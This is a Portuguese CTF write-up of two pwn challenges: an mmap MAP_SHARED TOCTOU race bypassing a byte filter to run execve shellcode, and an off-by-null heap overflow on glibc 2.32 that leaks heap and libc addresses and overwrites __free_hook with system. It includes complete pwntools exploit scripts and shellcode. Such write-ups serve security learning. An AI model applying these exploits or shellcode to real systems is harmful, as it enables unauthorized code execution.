Desafio: strange_code_runner
O binário apresenta um menu simples com três operações principais: edição, carregamento e execução de código. A análise estática revela que o programa gerencia um arquivo denominado "code" para armazenar o shellcode fornecido pelo usuário.
A rotina de edição abre o arquivo em modo de leitura e escrita, captura 0x20 bytes da entrada padrão e grava diretamente no disco:
void write_shellcode_disk(){
int file_descriptor;
char input_stream[0x20];
file_descriptor = open("code", O_RDWR);
printf(">>>");
read(0, input_stream, 0x20);
write(file_descriptor, input_stream, 0x20);
close(file_descriptor);
return ;
}
A funcionalidade de carregamento utiliza mmap para mapear o conteúdo do arquivo na memória do processo. O flag MAP_SHARED é crucial aqui, pois estabelece uma映射 direta entre o arquivo e a região de memória:
void map_shellcode_memory(){
if(is_loaded){
puts("already loaded");
}else{
int file_descriptor;
file_descriptor = open("code", O_RDWR);
executable_region = mmap(NULL, 0x20, PROT_EXEC|PROT_WRITE|PROT_READ, MAP_SHARED, file_descriptor, 0);
is_loaded = 1;
puts("load success");
}
return ;
}
A execução valida cada byte do shellcode carregado, exigindo que estejam no intervalo ASCII entre 'P' (0x50) e 'U' (0x55). Se validado, o controle salta para o endereço mapeado:
void execute_validated_code(){
if(is_loaded && executable_region){
int offset = 0;
while (offset < 0x20) {
if(executable_region[offset] < 'P' || executable_region[offset] > 'U'){
puts("unable to pass the check");
return ;
}
offset++;
}
puts("are u sure to continue");
puts("1. continue");
puts("2. no");
uint32_t selection = read_uint();
if(selection == 1){
asm("jmp * %[addr]" : [addr] "+r" (executable_region));
}
}else{
puts("code not load");
}
return ;
}
A restrição de caracteres (0x50-0x55) limita severamente as instruções possíveis, impedindo a construção de um shellcode funcional padrão. No entanto, a utilização de mmap com MAP_SHARED introduz uma vulnerabilidade de correlação temporal (TOCTOU). Como o mapeamento é compartilhado, alterações no arquivo "code" refletem-se imediatamente na memória mapeada, mesmo após a validação.
A estratégia de exploração consiste em anviar inicialmente bytes válidos para passar na verificação. Antes da instrução de salto final, um segundo processo ou conexão sobrescreve o arquivo "code" com um shellcode real. Quando a execução ocorre, o salto aponta para o conteúdo recém-modificado na memória.
Para contornar o limite de 0x20 bytes, constrói-se manualmente um shellcode compacto para invocar execve:
from pwn import *
payload_shell = '''
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
mov rax, 0x3b
xor rdx, rdx
xor rsi, rsi
syscall
'''
# Tamanho resultante: 28 bytes
O script de exploração estabelece duas conexões simultâneas. A primeira realiza o carregamento e valida o código. A segunda sobrescreve o arquivo no momento crítico:
from pwn import *
binary_path = "./pwn"
remote_host = "ctf.buptmerak.cn"
remote_port = "20022"
mode_local = 1
context(os='linux', arch='amd64', log_level='debug')
if mode_local == 1:
primary_conn = process(binary_path)
secondary_conn = process(binary_path)
else:
primary_conn = remote(remote_host, remote_port)
secondary_conn = remote(remote_host, remote_port)
def send_prompt(conn, delimiter, payload):
conn.sendlineafter(delimiter, payload)
# Shellcode funcional
bin_shell = '''
mov rbx, 0x68732f6e69622f
push rbx
push rsp
pop rdi
mov rax, 0x3b
xor rdx, rdx
xor rsi, rsi
syscall
'''
# Conexão 1: Carrega código válido
send_prompt(primary_conn, b'>>>', b'1')
send_prompt(primary_conn, b'>>>', b'P'*0x20)
send_prompt(primary_conn, b'>>>', b'2')
send_prompt(primary_conn, b'>>>', b'3')
# Conexão 2: Sobrescreve o arquivo mapeado
send_prompt(secondary_conn, b'>>>', b'1')
send_prompt(secondary_conn, b'>>>', asm(bin_shell))
# Conexão 1: Confirma execução
send_prompt(primary_conn, b'>>>', b'1')
primary_conn.interactive()
Desafio: e_order
Este sistema de gerenciamento de pedidos opera sobre estruturas alocadas no heap. Cada pedido contém campos para nome, escolha, tempo, dormitório e um ponteiro para notas adicionais:
typedef struct {
char name[16];
int choice;
int time;
char dormitory[8];
char* note_addr;
} order;
A vulnerabilidade reside na função de leitura de strings, que não verifica corretamente o terminador nulo, permitindo um overflow do tipo off-by-null:
void read_str(char * buffer, int size ){
printf(">>>");
int read_size = read(0, buffer, size);
buffer[read_size] = 0x00;
return ;
}
Se o usuário fornecer exatamente 0x10 bytes para o nome ou 0x8 bytes para o dormitório, o byte nulo adicionado pela função escreverá além do limite do buffer, corrompendo o metadata adjacente ou ponteiros seguintes. Especificamente, ao manipular o índice 2, é possível sobrescrever o ponteiro note_addr para apontar para si mesmo ou para regiões controladas, permitindo leitura e escrita arbitrária.
No ambiente glibc 2.32, o __free_hook ainda é utilizável. O objetivo é vazar o endereço base do heap e da libc para então sobrescrever o hook com o endereço da função system.
O vazamento do heap é obtido imprimindo o conteúdo de um pedido onde o ponteiro de nota foi corrompido para apontar para dentro do heap:
# Recuperação da base do heap
for i in range(2):
register_order(i, 'a', 1, 2, 'a', b'a')
register_order(2, 'giacomo', 1, 2, 'a'*7, b'tsctf-j')
display_order(2)
ru(b'a'*7 + b'\n')
heap_start = u64(rx(6).ljust(8, b'\x00')) - 0x420
Para vazar a libc, manipula-se o tamanho de um chunk para forçá-lo a entrar na unsorted bin. Ao imprimir esse chunk, o ponteiro main_arena é exposto. É necessário garantir que o bit prev_inuse do chunk seguinte esteja definido para evitar detecção de corrupção durante o free:
# Preparação de chunks para evitar checagens
for i in range(3, 15):
register_order(i, 'a', 1, 2, 'a', b'a')
# Manipulação do ponteiro para criar chunk falso
alter_order(2, 'a', 1, 2, 'a'*7, p64(heap_start + 0x470))
alter_order(2, 'a', 1, 2, 'a', p64(0) + p64(0x461))
cancel_order(3)
alter_order(2, 'a', 1, 2, 'a'*7, p64(heap_start + 0x481)) # Ignorar byte nulo
display_order(2)
malloc_hook_addr = u64(b'\x00' + ru(b'\x7f')[-5:] + b'\x00' + b'\x00') - 96 - 0x10
Com os endereços base calculados, o exploit final sobrescreve __free_hook com o endereço de system e libera um chunk contendo a string "/bin/sh":
from pwn import *
binary_path = "./pwn"
libc_path = "/home/giacomo/tools/glibc-all-in-one/libs/2.32-0ubuntu3_amd64/libc.so.6"
target_ip = ""
target_port = ""
run_local = 1
context(os='linux', arch='amd64')
if run_local == 1:
conn = process(binary_path)
else:
conn = remote(target_ip, target_port)
recv = lambda : conn.recv()
recv_bytes = lambda x: conn.recv(x)
recv_until = lambda x: conn.recvuntil(x)
send = lambda x: conn.send(x)
send_line = lambda x: conn.sendline(x)
send_after = lambda x, y: conn.sendafter(x, y)
send_line_after = lambda x, y: conn.sendlineafter(x, y)
log_addr = lambda name, addr : log.success('{} = {:#x}'.format(name, addr))
def register_order(idx, name, dish, time, dorm, note):
send_line_after(b'>>>', b'0')
send_line_after(b'>>>', str(idx).encode())
send_line_after(b'>>>', name.encode())
send_line_after(b'>>>', str(dish).encode())
send_line_after(b'>>>', str(time).encode())
send_line_after(b'>>>', dorm.encode())
send_line_after(b'>>>', note)
def alter_order(idx, name, dish, time, dorm, note):
send_line_after(b'>>>', b'1')
send_line_after(b'>>>', str(idx).encode())
send_line_after(b'>>>', name.encode())
send_line_after(b'>>>', str(dish).encode())
send_line_after(b'>>>', str(time).encode())
send_line_after(b'>>>', dorm.encode())
send_after(b'>>>', note)
def cancel_order(idx):
send_line_after(b'>>>', b'3')
send_line_after(b'>>>', str(idx).encode())
def display_order(idx):
send_line_after(b'>>>', b'2')
send_line_after(b'>>>', str(idx).encode())
# Vazamento Heap
for i in range(2):
register_order(i, 'a', 1, 2, 'a', b'a')
register_order(2, 'admin', 1, 2, 'a'*7, b'tsctf-j')
for i in range(3, 15):
register_order(i, 'a', 1, 2, 'a', b'a')
display_order(2)
recv_until(b'a'*7 + b'\n')
heap_start = u64(recv_bytes(6).ljust(8, b'\x00')) - 0x420
log_addr('heap_start', heap_start)
# Vazamento Libc
alter_order(2, 'a', 1, 2, 'a'*7, p64(heap_start + 0x470))
alter_order(2, 'a', 1, 2, 'a', p64(0) + p64(0x461))
cancel_order(3)
alter_order(2, 'a', 1, 2, 'a'*7, p64(heap_start + 0x481))
display_order(2)
malloc_hook_addr = u64(b'\x00' + recv_until(b'\x7f')[-5:] + b'\x00' + b'\x00') - 96 - 0x10
libc = ELF(libc_path)
libc_start = malloc_hook_addr - libc.sym['__malloc_hook']
log_addr('libc_start', libc_start)
# Exploração Final
free_hook_addr = libc_start + libc.sym['__free_hook']
system_addr = libc_start + libc.sym['system']
alter_order(2, 'a', 1, 2, 'a'*7, p64(free_hook_addr))
alter_order(2, 'a', 1, 2, 'a', p64(system_addr))
register_order(15, 'a', 1, 2, 'a', b'/bin/sh')
cancel_order(15)
conn.interactive()